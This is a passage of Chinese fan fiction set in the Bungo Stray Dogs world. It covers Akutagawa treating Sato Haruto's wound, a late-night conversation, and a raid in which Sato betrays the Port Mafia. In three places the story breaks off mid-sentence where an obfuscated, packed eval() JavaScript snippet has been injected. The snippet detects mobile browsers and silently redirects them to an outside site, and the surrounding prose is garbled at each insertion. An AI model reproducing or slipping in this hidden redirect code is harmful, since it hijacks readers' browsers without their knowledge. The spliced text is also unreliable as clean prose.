芥川银有些尴尬地笑了笑——毕竟芥川龙之介很讨厌蜜桔,她没想到自己的哥哥有朝一日会允许这些他讨厌的东西进入家里,说明芥川龙之介已经逐渐开始习惯迁就佐藤阳翔的生活。 她总觉得,这一瞬间好像突然就有了一家人一块生活的实感:哥哥和佐藤先生会一起帮忙给自己吹头发,一起逛商场,上下班一起吃饭、回家,时不时聚在一起聊天... 然而,芥川龙之介的表情却不太好。透过车内镜就能看见他的表情十分凝重,一个人环胸坐在后座上,望着窗外的景色一言不发。 芥川龙之介回到家以后,就把自己关进了房间。 那一晚,芥川龙之介几乎就没出过房门——出于担心,芥川银还是忍不住敲开了哥哥的房门,发现书桌上都被密密麻麻的任务资料填满了。 芥川龙之介正在翻阅着它们,其中一份文件一不小心被他碰掉在地,露出了夹在其中的照片。 是太宰治。 太宰先生作为吸收哥哥和自己进入港口mafia的恩人,芥川银理所当然地认为芥川龙之介只是在替太宰治解决麻烦而已,不由得有些担忧地握紧房门,问道:“哥哥,是太宰先生发生什么事了吗?” 芥川龙之介的身体僵了一下。 但佐藤阳翔却好像早已料到了他的情绪不佳。 他走进门,不动声色地捡起了掉在地上的文件和照片,朝少女露出了一个安抚的微笑:“没事的,我们正好在帮太宰先生工作呢——龙之介有点忙,我来帮小银吹头发吧。” 芥川银是个很懂事的孩子,在佐藤阳翔的示意下很快就点了点头,跟着他退出了房间。 直到客厅响起吹风机作响的声音,芥川龙之介才犹如被抽掉了脊骨一般,双手撑住书桌,有些茫然地垂下了头。 对于这名才十五岁的少年来说,太宰治给了他新的人生,把他带进了一个“有意义”的世界;自己的一切都是由太宰先生赋予的——无论是房子、金钱、生存的意义,还是港口mafia的工作,都是从他把自己捡回港口mafia的那一天开始的。 怀疑太宰治对组织的忠诚度,对此时的芥川龙之介来说,残酷得更像是要用刀锋划开自己的脖子。 出神间,门口突然响起“叩叩叩”的三声。 “你还在想那件事啊?” 芥川龙之介抬眼望去,只见佐藤阳翔正懒懒地靠在门边,表情一副“果然如此”的样子。 他走进门,不等芥川龙之介说话,便不由分说地将桌上的资料都收了起来——芥川龙之介刚想挥开他的手,就被他反过来用力地握住了。 触碰在一起的掌心传来令人安定的温度,但芥川龙之介的眼前依旧是那双金色的眼睛。 “老实说,你现在其实不是在怀疑太宰治的嫌疑,而是在怀疑自己存在的意义吧。”他歪过头,“把自己的生命和存在全都托付给别人——龙之介,你打算一辈子都靠别人活下去吗?” 43.第四十一章 78 “啪”地一声,佐藤阳翔的手腕传来清晰的痛感,是芥川龙之介挥开了他的手。 被戳破伪装面具后的少年有些气急败坏地拉过了面前人的衣领,把他掼在墙上,恨不得从他的身上咬下一块肉来般,恶狠狠地挤出声音:“你知道什么?!别自以为是地摆出一副什么都懂的样子,只会令在下觉得作呕。” 呆在客厅的芥川银听见哥哥的卧室里传来了一阵不太巧妙的动静,原本想要打开红小豆汤罐头的手也为之一顿。她刚想蹑手蹑脚地看看是怎么回事,就看见被芥川龙之介撞开肩膀的佐藤阳翔,表情错愕地站在门口。 房门在他的面前砰地一声又关了起来。 芥川银忍不住提醒道:“哥哥,佐藤先生的肩膀还有枪伤...” 门后之人沉默不语。 但站在门口的佐藤阳翔并没有听见离开的脚步声,立刻心领神会地捂住肩膀“嘶嘶”了两声,弯下腰扶住了墙壁,声音听起来很痛苦。 芥川龙之介收拾资料的动作顿了一下。 单纯的芥川银还以为佐藤阳翔肩膀上的伤口真的崩开了,关切地扶起他的身体:“佐藤先生,你还好吗?” “没什么,顶多流一点血而已。”佐藤阳翔苦笑了一声,然后刻意叹气道,“可惜药和绷带都在房间里,实在不行的话,等明天再去医院包扎一下吧。” “佐藤先生需要纱布吗?我房间里也有药箱...” 不等芥川银说完,原本紧闭的房门忽然开出了一条缝隙。一脸不耐烦的芥川龙之介打开房门,用那双漆黑的双眼扫视了一下佐藤阳翔捂住伤口的手,低声说:“...进来。” 他的眼神里写着“要是敢拒绝你就死定了”。 趁着芥川龙之介转身的功夫,佐藤阳翔立刻收起了痛苦的表情,向芥川银眨了眨眼,然后跟在芥川龙之介的身后走进了房间。 芥川银这时才意识到佐藤阳翔根本什么事都没有——那副看起来疼痛万分的样子全是他装出来的,顿时有些无言以对。 ...算了,可能这就是哥哥和佐藤先生的相处方式吧。 她懵懂地转过身,重新打开了那罐红小豆汤。 进入房门的佐藤阳翔还在继续自己的影帝级表演。但芥川龙之介只是斜睨了他一眼,双手酷酷地插进大衣口袋里,好整以暇地看着这家伙的拙劣演出——身为港口mafia,他对血腥的气味非常敏感,几乎在开门的那一瞬间,芥川龙之介就知道这家伙在演戏。 佐藤阳翔注意到他眼里的不悦,立即收起表演,端端正正地坐回了椅子上,语气真挚地道:“对不起。” “......” “刚刚那句话,并没有要看轻你的意思。”佐藤阳翔叹气,“作为你的同事,我只是想奉劝你一句,把性命和存在的意义都交付给旁人,不是什么好的选择。” “...那是在下自己的决断。”芥川龙之介冷冷道,“你说的什么赋予自己生存的意义,在这个黑暗的世界也只不过是些虚无缥缈的东西——别太自以为是了,与我而言,你也不过是港口mafia的一条走狗罢了。” 佐藤阳翔却并不生气,反而用那双充满狡黠的金眸,笑眼盈盈地望着他:“是吗?” “那你刚刚为什么要让我进来?” 此话一出,房间就诡异地安静了下来。芥川龙之介没办法回答这个问题——他可以在下一秒把佐藤阳翔重新扔出房间,但他没办法解释听见佐藤阳翔和芥川银的互动后,自己打开房门的突兀举动。 即使芥川龙之介再怎么想忽略,他都没办法承认自己行为举止的不合理,也没办法忽略佐藤阳翔这个人的一举一动。 ...自己在关心佐藤阳翔? “咳...我先去换药了。” 佐藤阳翔见芥川龙之介已经在自己的攻势下轻而易举地宕机,终于收起了逗他的心思,起身准备去拿绷带和要敷的药粉。 他的肩膀在受伤以后,每晚都要换药。但他从来不在房间里给自己上药,其中一个很重要的原因,就是佐藤阳翔不想在别人的面前露出脆弱的伤口。 但在他的指尖触碰到医药箱的前一刻,一双苍白且节骨分明的手先一步拿走了药粉和绷带。和打开门时的心情一样,芥川龙之介现在也不清楚自己为什么突然拿走了这些东西。 “...龙之介?” “你不用自己上药。”芥川龙之介有些欲盖弥彰地咳嗽了两声,试图让自己的声音听起来冷硬且不含任何私人情感,“...仅此一次。” “你来帮我上药?”佐藤阳翔却大惊失色,“还是不要吧,我们之间的关系好像也没有差到那种地步——我只不过劝你一句,你就想借机谋杀我吗?” 他对芥川龙之介完全没有信任感。 在佐藤阳翔的记忆里,芥川龙之介上能杀人,下能把自己的妹妹头发吹到烧焦,这样的人如果突然提出要帮自己上药,肯定意图不轨,如果这个人是芥川龙之介的话,可能还会借机暗算自己。 芥川龙之介额头的青筋却隐隐跳动:“...这是上次你教在下如何帮银吹头发的回礼。” “噢。”佐藤阳翔总算松了一口气,“那就好,不过还是算了,换药这种事还是由我自己来吧...唔啊!你要干什么,这件衬衫很贵的!” 眼见佐藤阳翔还在喋喋不休,芥川龙之介等得不耐烦了,干脆直接把他按在了床铺上,一息之间,【罗生门】便咬碎了佐藤阳翔扣在最顶端的衬衫纽扣,成功把佐藤阳翔吓了一跳。 “在下的耐心有限。” 芥川龙之介那副架势一点都不像要给佐藤阳翔上药,更像是打算利用【罗生门】来进行一场拷问。 佐藤阳翔只好认命。他解开扣子,露出了被绷带缠得鼓鼓囊囊的肩膀。毕竟是接触伤口的位置,多多少少还是会被血迹覆盖——而枪伤的位置,也逐渐暴露在空气中,只剩下一个黑褐色的恐怖厚痂。 佐藤阳翔脱开了半边衬衫,因此芥川龙之介除了他的肩膀外,还看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058958|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了不少伤痕——其中既有佐藤阳翔企图“自杀”时留下的胸口疤痕,也有当初遇到爆炸时,弹片在小臂上留下的不少细痕。 芥川龙之介垂下眼睛,在佐藤阳翔的指导下,在那道可怖伤口上重新消毒、敷药。出乎佐藤阳翔意料的,芥川龙之介的动作很轻,也很缓慢,只有在伤口接触到消毒水后,佐藤阳翔才忍不住皱起眉头“嘶”了一声。 芥川龙之介下意识地想去观察佐藤阳翔的表情,但因为距离较近,两个人的鼻子刚好一不留神地擦过,四目相对的那一刻,他们几乎连呼吸都快要窒息。 芥川龙之介第一次这么近距离地打量佐藤阳翔的五官。发现自己居然有些出神——佐藤阳翔确实长得还不错,五官精致立体,眼型也漂亮。再往下看,就能看见他的嘴唇,看起来似乎很柔软... “那什么。”佐藤阳翔先一刻挪开了头,尴尬地笑了笑,“你直接上药就好,不用管我。” 芥川龙之介这才如梦初醒地回神,不敢置信自己刚刚居然产生了一种极其诡异,且荒诞至极的想法——这样的冲击对于一名年轻的港口mafia而言实在太大,毕竟芥川龙之介从来都没想过,自己有朝一日居然会对男人产生莫名的悸动——而且这个人还是他的临时搭档兼临时舍友。 他深吸一口气,拼命告诉自己要摒弃那些奇怪的念头,用沾满了药粉的棉团小心翼翼地给佐藤阳翔上药。其间如同暴风般的想法只有芥川龙之介本人知道。 他的动作依旧稳健,淡定,仿佛刚刚什么都没发生。 当然,如果芥川龙之介能不要发呆就更好了。 “伤口上倒也不用敷这么多药粉...” 佐藤阳翔看了一眼大脑宕机到只会重复上药动作,明显在同时出神的芥川龙之介,忍不住在心里叹了一口气。 ...为什么总觉得,这种氛围怪怪的。 就在这时,佐藤阳翔的手机响起了嗡嗡两声。他现在正在上药,拿不到自己的手机,不得不拜托芥川龙之介去帮他拿过来,但他遗忘了一件很重要的事——佐藤阳翔手机上的屏保,是芥川龙之介被扎小辫的照片! 等佐藤阳翔反应过来的时候,一切都晚了。 芥川龙之介拿起他的手机,果不其然被一闪而过的屏保图片吸引了视线。 屏保上的少年双眸紧闭,戴着呼吸面罩,看起来苍白且脆弱,整个人浮现出病重的衰败感。但令人感到滑稽的是,他的两络头发不知道被什么人故意扎在了一起,而且由于头发扎在一起后长度会变短,辫子刚好就停留在他的鼻子前。 “......” 躺在病床上的少年就是芥川龙之介,而那名趁着自己昏迷,偷偷给自己扎小辫子的嫌疑犯,毫无疑问就是佐藤阳翔! 佐藤阳翔缩着脑袋,讪笑道:“...其实我可以解释的。” 下一刻,漆黑的【罗生门】就朝他扑了过去。同时响起的,还有芥川龙之介咬牙切齿的羞恼怒吼。 “佐、藤、阳、翔!” 44.第四十二章 79 芥川龙之介被扎小辫事件,最终以武力强迫佐藤阳翔删掉照片作为结尾。佐藤阳翔永远不会告诉他,世界上还有一种东西叫做云端备份——也幸好习惯使用翻盖手机的芥川龙之介并不热衷于电子产品。 现在时间已经进入深夜,他们躺在同一间卧室里,谁都没有睡着。芥川宅的周围位置就和芥川兄妹两人的性格一样,僻静到几近荒凉的地步。这里既不会再有不速之客摆放,也因为不临街而没有什么车轮滚动的声音,不说话的时候,黑暗就和好莱坞鬼片一样令人恐惧。 芥川龙之介躺在床铺上的睡姿很端正,但他的眼睛却是睁着的。 今晚发生的一切对他而言实在太暧昧,他甚至会无可避免地对此感到惶恐——但这样的感情只维系了一瞬间,他就马上想起了和自己躺在同一个空间里的佐藤阳翔。 在少年青春的臆想中,他可以正大光明地看着对方——黑色的短发,纤长的睫毛,金色的眼睛,还有形状姣好的柔软嘴唇。再往下,就是身上遍布的伤痕,肩膀上的伤口,还有胸口的疤痕... 芥川龙之介突然猛地坐了起来。 因为他发现,比起佐藤阳翔,自己其实更像一个思想变态的家伙。 “你在干什么?” 佐藤阳翔听到动静,睁开眼刚好看见床上模糊的人影,差点以为自己要穿越到好莱坞鬼片里友情出演,“失眠了?” 他的声音带着一些困意的沙哑。 “...没有。”芥川龙之介心情复杂。他又躺回了床上,并且坚持背对着佐藤阳翔的方向。 “其实睡不着也正常。”佐藤阳翔说,“这里很黑,也很偏僻,大脑在这种环境下很容易不自觉地想一些乱七八糟的东西。” “...在下早就已经习惯了。” “所以说,这其实不是一个好习惯——说不定你的潜意识里其实怕黑?” “不可能。”芥川龙之介淡淡开口,“在下没有害怕之物,你这是什么蠢话?” “好吧,那你确实挺厉害的。”佐藤阳翔笑了笑,“毕竟世界上绝大部分的人都有自己害怕的东西,黑暗、受伤、密闭环境、虫子...甚至是死亡。只是后来都慢慢习惯了,除了适应外,我们别无选择。” 佐藤阳翔说到后面的时候,芥川龙之介突然产生了一种距离他越来越远的错觉。 “你很怕死?” “当然。不过害怕并不等于不能接受,毕竟人总是会死的,关键是要让自己脱敏——如果你的大脑想的东西太多,就容易在面对它们的时候犹豫不决。” 芥川龙之介沉默了。他不太能理解佐藤阳翔为什么会突然把话从“怕黑”引申到“怕死”上,而且那段话听起来非常奇怪,虽然只是在教芥川龙之介怎么治疗失眠,但字里行间都透露着他随时都可能会死去的深意。 事实上,佐藤阳翔的内心确实产生了诸多感慨与犹豫。他现在拿到了记录港口mafia诸多罪行的账本,又当了港口mafia的卧底,随着时间的流逝,身份败露的那天也越来越近了。 能这样和芥川龙之介对话的时间所剩无几,下一次的死亡即将到来。 “...所以呢?” 听到芥川龙之介有些疑惑的语气,佐藤阳翔停顿了一下。他其实还想再借着今晚的对话,抓住时机和芥川龙之介再多说点什么——但他最后还是放弃了。 “所以,就和我准备好了要随时面对死亡那样,你也直接放空大脑睡觉吧。” 他故意把被子拉到头顶,声音困倦,“我也要睡了——我可没有你那么好的精力投身工作。” 佐藤阳翔闭上眼睛,原以为芥川龙之介不会再回应自己,但在经历过一场长久的沉默后,他突然听见少年有些沙哑的声音:“你不会死。” “嗯?” 芥川龙之介的声音很平静,但语气间又带着些许执拗:“在你死于在下的手中之前,不会有人能夺走你的性命。” 80 宝石商店被劫的第二天,一道追杀令被颁布了下来。 A在知道商店的账本丢失后勃然大怒,但那家宝石商店已经被人洗劫一空,炸弹恐怖组织的踪迹就和鬼魅一般消失了,谁也不知道他们到哪去了,更不知道他们为什么要带走账本。 但出人意料的是,这次追杀的指令却下达得非常快,而且是由森鸥外亲自下发。在任务清单上,芥川龙之介第一次看清了面具男的真容——他叫瑞克,生着一张特点鲜明的欧洲面孔;在他的右侧,则印着面具女艾莎的真容。 干部办公室内,太宰治亲自传达了首领下发的指令,要求佐藤阳翔和芥川龙之介暂时摒弃一切手头上的工作,在今夜突袭那帮疯子的老巢。 “...就是这样。”太宰治抱胸靠在柔软的椅子上,“时间就定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062482|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在今夜十二点,你们要把账本和两人的头颅都带回港口mafia。” 佐藤阳翔却忽然举手:“我能问一个问题吗?” 不等太宰治点头,他便相当不客气地切入了主题:“我们一直在找那两个家伙的踪迹,还在查各个干部的底细,但都败兴而归——那这些完备的资料是从哪来的?” 太宰治却勾起嘴角:“啊,我有说过你们是【唯一】的任务执行者吗?” 那只暴露在外的鸢色眼眸紧紧地锁定了他:“追查炸弹恐怖组织的人当然不止你们两个,毕竟要论你们的才能,只能算是两个废物而已。” “而且——万一你们中间出了叛徒,对港口mafia可就非常不利了。” 佐藤阳翔想得一点都没错,太宰治这家伙根本就是个狡猾的家伙。他之前慷慨地允许佐藤阳翔追查各种东西,似乎对他们十分放心;但在账本消失后,信任大厦却在顷刻之间崩塌了。 ——太宰治一定已经察觉到了什么。 但对现在的芥川龙之介而言,太宰治的话却非常伤人:说明他从一开始就不被太宰先生认可,更遑论得到他的信任。 从始至终,他们都只不过是一个可以被随意挪动的棋子罢了。 芥川龙之介自己都没有发现,他的思想在不知不觉间已经开始悄然改变。 如果他没有遇到佐藤阳翔,芥川龙之介绝不会对太宰先生的做法感到沮丧,也不会产生这种被人背叛的痛苦,他只会和机器一样遵循太宰治的要求;但在遇见佐藤阳翔之后,芥川龙之介已经开始逐渐习惯被人信赖,习惯了被人关爱。 看着芥川龙之介呆望着太宰治离开的样子,佐藤阳翔的眼神闪过了一丝不忍。 “别发呆了,今晚我们还要带着账本和敌人的头颅回来。” 他握住对方有些发凉的手,露出了一个没心没肺的笑容,“你不是一直想证明给太宰先生看吗?今夜就是一个绝佳的机会。” “我向你保证,等过了今夜...一切都会结束的。” 掌心传来令人安心的温暖,芥川龙之介这次却没有再直接甩开。 即便芥川再怎么不肯承认,事实都已经摆在了面前——人在接触过光明以后,他的需求阈值就会被拉高,此后便再难忍受被抛弃的痛苦。 悸动和爱,是人类最难跳离的圈套。 他已经开始沉沦于这份情感。 45.第四十三章 81 现在还是早春,变暖的趋势只持续了几天,温度就又急转而下。今夜的横滨刮起了大风,佐藤阳翔和芥川龙之介在戴好行动耳麦,测试通讯无误后,相互交换了一个眼神,趁着月色悄然靠近了目标大楼。 这里曾经被用作发电站,但由于年限太久,很快就被横滨的历史淘汰了。依照太宰治给出的资料,这里现在被用作炸弹恐怖组织的临时据点,他们今夜就要深入大楼,与其他行动人员一起摧毁这里,并把账本带回来。 ——本次行动的大头还是在“账本”。 芥川龙之介其实隐隐感受到了一丝不太对劲:一介小小的账本顶多记录着A和其下属一些见不得人的金钱勾当,可为什么追杀令却是从首领的手中发出的? 这份账本为什么会引起这么大的关注? 他们进入了建筑中,一下子就闻到了旧建筑特有的霉味和潮味。自从发电站被政府开发部门废弃以后,这里的设备都被搬空了,只能在地上看见吃剩被丢弃的果皮和空的塑料水瓶。 芥川龙之介抬脚踹开一扇大门,一道深长漆黑的甬道暴露在面前——这是通往地下室的通道,里面既没有光亮,看起来也不怎么通风。 这座废弃发电站的内部构造相当复杂。这里的一楼没有电梯,如果想去监控中心确认账本的位置,他们只能选择上到二楼,或去往地下。 要不是在二楼动手,很容易会引起三楼的警觉,芥川龙之介都想干脆提着一袋柠檬炸弹,把整栋楼都直接炸个稀巴烂。 在芥川龙之介眼中,只有通过最强烈的暴力才能最快达到目的——但佐藤阳翔毅然拒绝了这个办法。 “别硬闯。”佐藤阳翔皱起眉头,“我们只需要创造条件与其他同伴一起摧毁这里,关键目的还是拿回账本。” 行动耳麦连接的是公共频道。在大楼外部,港口mafia的成员已经给枪上膛,随时准备好闯入大楼,与他们里应外合,歼灭敌人。 为了避免在不利情况下与敌人直接进行正面冲突,最好的办法,就是先深入地下一层,再乘坐电梯上达总控室,由佐藤阳翔进行远程支援和调配。 两人尽量压低呼吸的声音,一前一后地在漆黑漫长的地下台阶上行走。不知道过了多久,远处才亮起一抹光芒,但一道合起的铝制金属门挡在了他们面前。 佐藤阳翔立刻做出手势,和芥川龙之介暂时挤在了狭小的楼梯拐角里——入口处还守着两名持枪的守卫。 黑暗中,两人相互对视一眼,多日以来的相处让他们瞬间就领会到了对方的意图。 佐藤阳翔刚往旁边退开一步,芥川龙之介身上就立刻闪起了异能发动的红光,【罗生门】犹如暴徒般撞碎大门,一击便捅穿了敌人的喉咙。 不等另一人反应过来,佐藤阳翔便敏捷地从门后钻了进去,先用手肘狠狠击打在对方的太阳穴处,然后从后面死死绞住他的脖子,咔嚓一下利落地解决了问题。 整个过程快得惊人,几乎在一眨眼间就结束了。 现在是半夜,恰好是敌人最松懈的时候。地下一层几乎没有人来过,佐藤阳翔和芥川龙之介根本就没花什么功夫,一路上推进得非常顺利,很快就来到了电梯门口。 大概出于炸弹恐怖组织的恶趣味,地下一层的电梯门被人用用颜料画了一只巨大的眼睛,此刻正在从上往下地凝视着入侵者,仿佛真的有人在注视着他们的一举一动。 “这只眼睛看着真令人不快。”佐藤阳翔触碰了一下这只眼睛,搓了搓指尖,发现油漆已干。 “哼,只是一副普通的画罢了。”芥川龙之介按下耳麦,在公共频道中汇报现在的情况,“一切都在按照计划进行。” 由于年限久远,电梯里的监控早就停止了使用,只有一个落满灰尘的空壳低着头挂在后面。在电梯缓慢上升的时候,他们还能清晰地听见滑轮一卡一卡的声音。 佐藤阳翔拔出装有消音器的手枪,芥川龙之介也再度做好了战斗准备。但在电梯大门滑开的瞬间,预想中的激烈对抗却并未发生。 这一次的突进几乎没有耗费多少子弹,非异能者在他们面前就犹如无法还手的小孩——而且,顶层的守卫竟然少得可怜,两个人几乎是轻而易举就来到了总控室的门前。 芥川龙之介心中再一次产生了微妙的不和谐感。 本次行动轻松得有些过分了,而且直到现在,他们都没看见瑞克和艾莎。 佐藤阳翔站在总控室的门口,向他打了一个手势,随即扭开了总控室的门把手,果然迎面袭来了无数子弹。 但子弹在即将触碰到佐藤阳翔的前一刻,漆黑的恶兽便抢先一步张开了血盆大口,把子弹全都吞了进去,然后像吐果核一般,把弹壳吐在了地上。 那种不和谐感,又被突如其来的袭击暂时冲淡了。 佐藤阳翔立刻开枪扫射,很快总控室内就安静了下来,只剩下倒伏于地的几具尸体。 “谢了,我待会儿会用耳麦支援你。”他松了一口气,随手拉过一把没怎么沾到血迹的椅子坐了下来,意有所指地敲了敲耳麦,“接下来就靠你大闹一场了。” 芥川龙之介平静地望向他:“你别死了。” 佐藤阳翔笑了笑:“这句话也原封不动地还给你。” “等今夜过去,一切就都结束了。” 另一边。 横滨港口mafia大楼。 今夜似乎格外宁静。森鸥外撑着下巴坐在沙发上,隔着巨大的落地窗,能将整个横滨的夜景尽收眼底。他半眯着眼,红酒的酒液撞击杯壁,爱丽丝正趴在桌上用蜡笔画画,参照物是她不久前刚堆好的积木。 “今晚是个不眠夜呢。”森鸥外凝视着窗外黑暗的天空,看起来似乎完全不着急,“太宰君,你知道吗?信任有时候坚固无比,但有时又脆弱得令人费解。当信任从一开始就建立于谎言之上的时候,崩塌就只是时间问题。” 他随手抽出一根爱丽丝在桌上精心堆好的积木,积木瞬间轰然倒塌——爱丽丝气得半死,挥舞着蜡笔就要在林太郎的脸上画猫脸。 太宰治无言地站在黑暗中,鸢色的眼睛第一次如此陌生地打量着这名男人。 那本号称被炸弹恐怖组织夺走的账本,那本已经被佐藤阳翔偷走的账本,记录的不仅仅是简单的资金流向这么简单,还有一份详细的接触名单。 森鸥外从很久以前就在谋划一件非常重要的事,那就是获取异能营业许可证——他必须让异能特务科意识到,即便经历了首领的更换,港口mafia依旧有能力击溃外来的异能组织,这既是一种信任的建立,也是一次实验。 他通过A这个窗口,先一步接触了来自欧洲的炸弹恐怖组织,并且有意将其引入横滨,引发了炸弹恐怖袭击的危机;甚至为了让他们闹得再大一点,不惜暴露职员的家庭住址,甚至是刻意放任一些贪心的叛徒与他们接触。 只要这次行动成功了,等异能特务科信任港口mafia能为横滨做出贡献后,森鸥外就可以用同样的方法引入下个更能掀起风暴的外来组织——他已经派遣了安吾前往欧洲出差。 可以说,从一开始,最大的“叛徒”就是森鸥外。 他是港口mafia的首领,同时也是这个组织的奴隶——但并不是社员个人的奴隶。在他的构想中,港口mafia的整体利益即为最高点,为了组织的未来,即便要让社员有所牺牲,也是理所当然的。 对森鸥外来说,只要能够达到目的,无论要用什么手段都没关系。 “...您从一开始就知道佐藤叛变了?”太宰治静静地问,“今夜的袭击行动已经开始,您现在是要把芥川丢弃吗?” “他是个很能干的小伙子,太宰君,你不也是这么认为的吗?”森鸥外勾起嘴角,“否则你也不会来这里要求我动用援兵。” “芥川对组织还有用。” “当然,如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068714|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失去芥川,这对港口mafia来说也是一件坏事。”森鸥外坐正身体,双手交握抵在下颚,“但援兵必须等敌人全部暴露以后再出动。” “不过,芥川会带给我们胜利的。”他淡淡地开口,“在这场信任的博弈里,先一步心软的人必死无疑。” 82 又是一道爆炸声。 芥川龙之介此时正躲在一根承重柱后面。尸体、鲜血、爆炸,构成了暴力和斗争最基础的底图。他用力按住耳麦,依旧试图听清佐藤阳翔那边的动静,但里面只剩下了令人绝望的安静。 半小时之前。 佐藤阳翔和芥川龙之介在攻下总控室后,很快就分开了。佐藤阳翔通过总控室里显示的炸弹恐怖组织坐标,为芥川龙之介和守候在外的港口mafia们提供远程支配,准备通过里应外合,把炸弹恐怖组织一举歼灭。 这次的行动本应非常轻松地结束,但在指引港口mafia进入大楼后,佐藤阳翔的指挥支援就突然终止了。 随之而来的就是敌人几近疯狂的袭击——在敌人突然出现的这一瞬间,所有人都知道,指挥者把他们引入了炸弹恐怖组织的圈套。 佐藤阳翔叛变了。 芥川龙之介在耳麦中听到这个消息的时候,几乎像被人砸了当头一棒,大脑轰地一下只剩空白。他的第一反应甚至想把说这句话的人丢出大楼,但通讯背景音里的激烈交火声和爆炸声,又恰恰证实这个猜想。 他不甘心地折返到顶层,想去找佐藤阳翔问个清楚,但总控室里空空荡荡——佐藤阳翔不见了,漆黑的屏幕上只有用鲜血写成的“すみません(对不起)”。 芥川龙之介如坠冰窟。他不自觉地握紧双手,指甲插进肉里传来尖锐的疼痛,说明这一切都不是梦。 ……叛变是真的。 佐藤阳翔真的抛弃了港口mafia,抛弃了自己,毫不犹豫地把他们扔进了敌人的伏击圈,自己却消失得无影无踪。 另一边的战斗还没有停歇。耳麦中再次传来同伴的嘶吼,还有子弹穿进肉里的声音,混合着脏话一起响起:“芥川大人,我们要撑不住了!” 即便手脚再怎么冰冷麻痹,芥川龙之介都不得不为了拯救同伴的性命赶去下一个地点。但等他抵达的时候,预备与自己共同剿灭敌人的同伴数量只剩下不到一半。 对佐藤阳翔来说,自己和他们的性命都是可以被随意丢弃的筹码吗? 一直被芥川龙之介抛之脑后的不和谐感终于清晰了起来。 那份账本真的只记录着A与外部组织不可明说的金钱勾当吗?今夜袭击敌人据点,为什么明明是至关重要的总控室,一路上却几乎没有什么人把守,非常轻松地就被他们攻下了? 时间再往前推。 宝石商店一战中,芥川龙之介全程几乎昏迷,中间发生的事全靠佐藤阳翔一人述说,可账本真的被炸弹恐怖组织拿走了吗?那群只热衷于钱财的亡命之徒真的会拿走账本吗? ...... 曾经被芥川龙之介刻意忽略的一幕幕再次浮现在他的脑海,最终构筑成一个脆弱可笑的真相。 ……谎言。 一切都是佐藤阳翔的谎言。 病床前的照顾是假的,给自己和银吹头发时的温柔是假的,夜晚的真心谈话是假的,并肩作战的默契也是假的——一切都只是佐藤阳翔用来欺骗自己的手段而已。 回头再看,那些真情竟显得如此不堪一击。 芥川龙之介不知道,信任会脆弱得如此令人发笑;他也不知道,他的恨恰好源于他的爱。如果说世界上有什么情感比恨还要复杂,那就是爱恨交织的欺骗。 佐藤阳翔就是个天生的骗子——芥川龙之介在意识到这一点后,终于从他亲手编织的美梦中惊醒,温情的世界亦由此崩塌。 然后,前所未有的仇恨开始在他的心中燃烧。 他要找到佐藤阳翔,然后亲手杀了他。 46.第四十四章 83 佐藤阳翔背叛港口mafia半小时后,废弃的发电站已然成为了人间炼狱。如果非要给这场战斗套上一个形容词,那大概就是双方赌上一切的战争——双方都是为了生存而战。 芥川龙之介在其中显得格外骁勇。他率领着港口mafia的成员们突围出去,脚下的尸体几乎堆叠成山,但因背叛而怒火中烧的祸犬,却没有停下脚步的打算。 佐藤阳翔呢?! 他迫切地想要知道这个答案,迫切地想要亲手夺走这家伙的性命,迫切地想要泄出心头的怒火。 就在这时,一道俏皮的口哨声突兀响起。 瑞克把玩着手里的手枪,和艾莎一起守在二楼的必经之路上,居高临下地嘲弄道:“看看是谁来了,原来是我们被抛弃的可怜puppy,没有Haruto(阳翔)牵住你的绳索,所以开始发狂了?” “看来你对他来说,也没有多重要。”艾莎双手环胸,“本来我们还以为你们两个真的有一腿。夜袭那天晚上为了救你的性命,他才会选择加入我们——但现在再看,这个狡猾的男人恐怕一开始就只是想利用我们拿到记录港口mafia罪行的账本而已。” 芥川龙之介握紧拳头,声音嘶哑无比:“那个叛徒...他现在在哪里?” “不知道,账本的事可是我们替他背的黑锅。”艾莎耸耸肩,“但他十分钟前对我们说,如果我们想杀你的话,就放心下手吧——因为他已经拿到了自己想要的东西。你的性命对他而言不值一提,可怜的puppy。” ——你的性命对他而言已经不值一提。 分明是风轻云淡的一句话,芥川龙之介却觉得自己的心脏仿佛被一千根针齐整穿过,每次一呼吸都能清晰感受到右胸腔内传来的刺痛。手脚也似乎在一瞬间麻痹了。 芥川龙之介的脸色苍白得可怕。 “虽然我们也被这家伙摆了一道,但现在也算得上各取所需。”瑞克活动了一下颈椎,“感谢这家伙把你们带来了这里,你们今晚都得死在这里。” “是吗?那就来试试吧。” 